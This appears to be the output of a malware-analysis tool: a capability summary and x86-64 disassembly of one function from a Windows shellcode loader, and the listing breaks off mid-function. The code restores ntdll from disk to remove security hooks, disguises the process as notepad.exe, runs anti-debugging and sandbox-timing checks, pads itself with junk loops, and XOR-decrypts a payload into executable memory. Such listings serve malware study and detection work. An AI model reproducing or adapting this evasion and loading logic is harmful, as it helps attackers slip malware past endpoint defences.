Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x880
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x820], ecx
mov qword [rbp + 0x828], rdx
call fcn.140002be0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x778], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x770], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x768], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
jne 0x140001580
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x140001904
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
mov rax, qword [rbp + 0x768]
mov r10, qword [rbp + 0x7f8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x760], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x758], rax
mov ecx, 0x7f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov dword [rbp + 0x7f0], 0
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x7f4], 0
jmp 0x1400016e7
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x750]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400016b6
add dword [rbp + 0x7f0], 1
jmp 0x1400016e0
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400016e0
add dword [rbp + 0x7ec], 1
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x1fd
jle 0x140001644
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x758]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x760]
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x760]
add rax, rdx
mov qword [rbp + 0x730], rax
mov word [rbp + 0x7ea], 0
jmp 0x1400018ec
mov rax, qword [rbp + 0x730]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x730]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7ea]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400018db
mov dword [rbp + 0x564], 0
mov rax, qword [rbp + 0x728]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x728]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x760]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x564]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x728]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x728]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x740]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x728]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x760]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x564]
mov rax, qword [rbp + 0x728]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x728]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x760]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x564]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7ea]
add eax, 1
mov word [rbp + 0x7ea], ax
mov rax, qword [rbp + 0x730]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7ea], ax
jb 0x1400017b0
mov dword [rbp + 0x7e4], 0x1cc
mov dword [rbp + 0x7e0], 0xbe
mov dword [rbp + 0x7dc], 0x2a8
mov dword [rbp + 0x7d8], 0x2d0
jmp 0x1400019f0
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x7d8]
jle 0x14000198d
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x7e4]
jle 0x14000196d
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x7e0]
jle 0x140001964
sub dword [rbp + 0x7dc], 1
jmp 0x1400019d9
sub dword [rbp + 0x7e0], 1
jmp 0x1400019d9
mov eax, dword [rbp + 0x7e4]
cmp eax, dword [rbp + 0x7e0]
jle 0x140001984
sub dword [rbp + 0x7e4], 1
jmp 0x1400019d9
sub dword [rbp + 0x7e0], 1
jmp 0x1400019d9
mov eax, dword [rbp + 0x7d8]
cmp eax, dword [rbp + 0x7e4]
jle 0x1400019bb
mov eax, dword [rbp + 0x7d8]
cmp eax, dword [rbp + 0x7e0]
jle 0x1400019b2
sub dword [rbp + 0x7d8], 1
jmp 0x1400019d9
sub dword [rbp + 0x7e0], 1
jmp 0x1400019d9
mov eax, dword [rbp + 0x7e4]
cmp eax, dword [rbp + 0x7e0]
jle 0x1400019d2
sub dword [rbp + 0x7e4], 1
jmp 0x1400019d9
sub dword [rbp + 0x7e0], 1
mov eax, dword [rbp + 0x7dc]
mov edx, eax
lea rax, [0x14000b05a]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x7dc], 0
jg 0x140001931
mov dword [rbp + 0x56c], 0
mov rax, qword [rbp + 0x778]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x570]
lea rax, [rbp + 0x56c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x720]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x578]
add rax, 0x3c
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7d4], 0
mov dword [rbp + 0x7d0], 1
mov dword [rbp + 0x7cc], 0
mov dword [rbp + 0x714], 0x339
jmp 0x140001acd
mov edx, dword [rbp + 0x7d4]
mov eax, dword [rbp + 0x7d0]
add eax, edx
mov dword [rbp + 0x5bc], eax
add dword [rbp + 0x7cc], 1
mov eax, dword [rbp + 0x7d0]
mov dword [rbp + 0x7d4], eax
mov eax, dword [rbp + 0x5bc]
mov dword [rbp + 0x7d0], eax
mov eax, dword [rbp + 0x7cc]
cmp eax, dword [rbp + 0x714]
jl 0x140001a9a
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x7c8], 0xffffffff
mov ecx, 0x810
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
add dword [rbp + 0x7c8], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b5e8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7c8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
movsd xmm1, qword [0x14000b5f0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7c8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x7c8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
movq xmm1, qword [0x14000b600]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x7c8], 0x100
jle 0x140001b1a
mov dword [rbp + 0x568], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x568]
mov r8, qword [rbp + 0x700]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x568]
cmp eax, 1
je 0x140002b20
mov dword [rbp + 0x6fc], 0x237
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e4], eax
mov eax, dword [rbp + 0x6fc]
mov r8, qword [rbp + 0x6f0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e0], eax
mov eax, dword [rbp + 0x6e0]
sub eax, dword [rbp + 0x6e4]
cmp eax, 0x205
jbe 0x140002b20
mov qword [rbp + 0x6d8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6d0]
mov r9d, 0x3000
mov r8d, 0x3be
mov edx, 0
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
je 0x140002b20
mov qword [rbp + 0x7c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
je 0x140001df2
mov rax, qword [rbp + 0x6c8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6c0]
mov r9d, 0x3000
mov r8d, 0x396
mov edx, 0
call rax
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
je 0x140002b20
mov ecx, 0x440
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x440
jne 0x140002b20
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
jne 0x140002b20
lea rax, str.evtnrxzdyjvftufq.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
jne 0x140002b20
mov dword [rbp + 0x6a4], 0x3cd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x694], eax
mov eax, dword [rbp + 0x6a4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x690], eax
mov eax, dword [rbp + 0x690]
sub eax, dword [rbp + 0x694]
cmp eax, 0x39b
jbe 0x140002b20
mov dword [rbp + 0x68c], 0x3b4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x674], eax
mov eax, dword [rbp + 0x68c]
mov r8, qword [rbp + 0x680]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x670], eax
mov eax, dword [rbp + 0x670]
sub eax, dword [rbp + 0x674]
cmp eax, 0x382
jbe 0x140002b20
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
jne 0x140002b20
lea rax, [rbp + 0xd0]
lea rdx, [0x14000b150]
mov ecx, 0x92
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x770]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x658]
mov r8d, 0
mov edx, 0x493
mov ecx, 0x40000
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov r9, qword [rbp + 0x650]
mov r8d, 0x493
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x778]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x638]
mov r8d, 0x493
mov rcx, rax
call r9
mov dword [rbp + 0x7bc], 0
mov dword [rbp + 0x7b8], 0
mov dword [rbp + 0x7b4], 0
movabs rax, 0x391ef0f0be4cb070
movabs rdx, 0x72c1e77cb29e8fbd
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xb42ebc241278ad59
movabs rdx, 0x8718444a8b75b339
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xbb878c0aaf78e531
movabs rdx, 0x198c07ec103fbca3
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xcc4c921ed1faad0
movabs rdx, 0x74819c714a3b9a8d
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xd18dc605bdcc410c
movabs rdx, 0xc96eca3357a378d2
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xe544c96eca3357a3
movabs rdx, 0xb307806f5dbe6c
mov qword [rbp + 0xba], rax
mov qword [rbp + 0xc2], rdx
movabs rax, 0x3c7668338af5abb2
movabs rdx, 0x492c84dfe255b17c
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x56968de32793e23b
movabs rdx, 0x422d36fc2913de02
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x57d0585fd42a954d
movabs rdx, 0xb09576207bf5384a
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x40eefcbd4f3b5543
movabs rdx, 0x5bc5a81cc90d8dcc
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x2bf9c6c4b5ee5b
mov qword [rbp - 1], rax
mov ecx, 0xd08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0xd08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7ac], 0x341
mov dword [rbp + 0x7b0], 0
jmp 0x14000236e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7b0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x630]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov edx, dword [rbp + 0x7b0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x628]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7ac], 1
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x341
jle 0x1400022e1
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002451
cmp dword [rbp + 0x7b8], 0x45
jne 0x14000241b
mov dword [rbp + 0x7a8], 0x316
mov dword [rbp + 0x7a4], 0x2d0
jmp 0x1400023de
mov eax, dword [rbp + 0x7a8]
cmp eax, dword [rbp + 0x7a4]
jle 0x1400023d7
sub dword [rbp + 0x7a8], 1
jmp 0x1400023de
sub dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a8], 0
jg 0x1400023c0
mov eax, dword [rbp + 0x7bc]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x7b8]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7bc]
cdqe
mov byte [rbp + rax + 0x10], dl
mov dword [rbp + 0x7b8], 0
jmp 0x14000244a
mov eax, dword [rbp + 0x7bc]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x7b8]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7bc]
cdqe
mov byte [rbp + rax + 0x10], dl
add dword [rbp + 0x7b8], 1
add dword [rbp + 0x7bc], 1
mov eax, dword [rbp + 0x7bc]
cmp eax, 0x58
jbe 0x1400023a1
mov dword [rbp + 0x7bc], 0
jmp 0x1400028a5
cmp dword [rbp + 0x7b4], 0x58
jne 0x1400026a4
mov ecx, 0x4e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d8], rax
mov ecx, 0x4e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d0], rax
mov ecx, 0x4e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c8], rax
mov ecx, 0x4e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c0], rax
mov dword [rbp + 0x79c], 0x139
mov dword [rbp + 0x7a0], 0
jmp 0x14000256c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0x139
jle 0x1400024d9
mov dword [rbp + 0x7a0], 0
jmp 0x14000260b
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d8]
add rax, rdx
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x79c], 1
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0x139
jle 0x14000258b
mov rax, qword [rbp + 0x5d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7b4]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7b4], 0
jmp 0x14000289e
mov ecx, 0xebc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f8], rax
mov ecx, 0xebc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov ecx, 0xebc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
mov ecx, 0xebc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
mov dword [rbp + 0x794], 0x3ae
mov dword [rbp + 0x798], 0
jmp 0x14000280d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x798]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x798]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x794]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f8]
add rax, rdx
mov edx, dword [rbp + 0x798]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5e8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x794]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, dword [rbp + 0x798]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5e0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x794], 1
add dword [rbp + 0x798], 1
cmp dword [rbp + 0x798], 0x3ae
jle 0x140002701
mov rax, qword [rbp + 0x5f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7b4]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x7b4], 1
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x492
jle 0x14000246f
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x790], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x788], xmm0
add dword [rbp + 0x790], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x790]
movsd xmm0, qword [0x14000b5f0]
addsd xmm0, xmm1
mov rax, qword [0x14000b610]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cc0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x790]
addsd xmm0, xmm0
movsd xmm2, qword [0x14000b5f0]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x788]
addsd xmm0, xmm1
movsd qword [rbp + 0x788], xmm0
cmp dword [rbp + 0x790], 0x1e8
jle 0x1400028d9
movsd xmm1, qword [rbp + 0x788]
movsd xmm0, qword [0x14000b618]
